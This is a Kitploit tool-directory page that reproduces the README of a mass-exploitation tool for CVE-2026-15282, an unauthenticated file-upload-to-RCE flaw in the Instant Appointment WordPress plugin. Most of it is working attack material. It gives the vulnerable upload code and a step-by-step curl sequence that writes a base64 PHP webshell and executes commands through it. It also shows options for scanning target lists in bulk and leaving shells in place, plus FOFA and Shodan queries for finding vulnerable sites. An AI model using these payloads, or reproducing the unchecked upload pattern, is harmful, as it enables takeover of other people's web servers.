Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-15282 — Instant Appointment <= 1.2 — Unauthenticated Arbitrary File Upload to RCE via add_service_front AJAX | CVSS 9.8 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-15282
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationRed Teaming
GitHubshinthink/cve-2026-15282

CVE-2026-15282

Instant Appointment <= 1.2 — Unauthenticated Arbitrary File Upload to RCE via add_service_front AJAX | CVSS 9.8

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-15282 — Instant Appointment Mass RCE Exploit

Pre-Auth file_get_contents() + file_put_contents() → PHP Webshell


Overview

CVE-2026-15282 is a critical (CVSS 9.8) unauthenticated arbitrary file upload vulnerability in the Instant Appointment WordPress plugin (≤ 1.2).

The add_service_front AJAX action is registered via wp_ajax_nopriv_ for unauthenticated access. The handler passes user-supplied image_url and image_name directly to file_get_contents() and file_put_contents() without any file type or extension validation.

Affected Versions

VersionStatus
≤ 1.2Vulnerable
> 1.2No patch available — remove the plugin

Vulnerability Mechanism

Root Cause

root@kitploit:~
// ajax_services.php
function insapp_upload_image_as_attachment($image_url, $file_name, $product_id) {
    $image_data = file_get_contents($image_url);       // downloads from ANY URL
    $file = $upload_dir['path'] . '/' . $file_name;    // uses attacker's filename
    file_put_contents($file, $image_data);             // no extension check!
}

The AJAX handler accepts any image_url (including data:// URIs) and writes to any image_name directly into the WordPress uploads directory.

Attack Flow

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=add_service_front
  image_url=data://text/plain;base64,PD9waHAgc3lzdGVt...
  image_name=think_xxx.php
→ PHP webshell written to wp-content/uploads/YYYY/MM/think_xxx.php
→ RCE via https://target.com/wp-content/uploads/YYYY/MM/think_xxx.php?c=id

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-15282.git
cd CVE-2026-15282
pip install -r requirements.txt

Usage

root@kitploit:~
python cve_2026_15282.py -t target.com
python cve_2026_15282.py -f targets.txt -o shells.txt
python cve_2026_15282.py -t target.com --debug
python cve_2026_15282.py -t target.com --no-cleanup

Arguments

root@kitploit:~
  -t, --target      Single target
  -f, --file        Target list
  -o, --output      Save RCE URLs to file
  --threads         Workers (default: 25)
  --no-cleanup      Leave shells on target
  --debug           Show every request
  -v, --verbose     Verbose output

Proof of Concept

Single Target

root@kitploit:~
$ python cve_2026_15282.py -t target.com
root@kitploit:~
  ⠋ Scanning target...  →  OK Scanning target...

  Host       : target.com
  Plugin     : YES
  Upload     : YES
  RCE        : YES
  Shell      : https://target.com/wp-content/uploads/2026/07/think_a1b2c3.php?c=id
  Output     : uid=33(www-data) gid=33(www-data)

Mass Scan

root@kitploit:~
  [.] current-target.com | ⠋ [████░░░░░░░░░░░░░] 45/500 (9%) Plugin:12 UP:3 RCE:1
  [RCE] target.com   https://target.com/wp-content/uploads/2026/07/think_xxx.php

Manual Exploitation

root@kitploit:~
# 1. Create base64-encoded PHP shell
echo '<?php system($_GET["c"]); ?>' | base64 -w0

# 2. Upload via AJAX
curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
  -d 'action=add_service_front' \
  -d 'service_name=test' \
  -d 'image_url=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==' \
  -d 'image_name=shell.php' \
  -d 'image_size=100' \
  -d 'image_type=image/jpeg' \
  -d 'service_price_sale=1' \
  -d 'service_price_reg=1' \
  -d 'service_category[]=1' \
  -d 'service_duration=60' \
  -d 'service_author=1'

# 3. Access shell
curl -sk 'https://target.com/wp-content/uploads/2026/07/shell.php?c=id'

FOFA / Shodan

root@kitploit:~
FOFA:   body="wp-content/plugins/instant-appointment"
Shodan: http.html:"instant-appointment"

Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.


References

ResourceLink
WPScan

Not affiliated with tenteeglobal or Instant Appointment.

Download Tool
wpscan.com/vulnerability/b3457e95
Wordfencewordfence.com
NVDCVE-2026-15282
ResearcherRandom Robbie (What Security)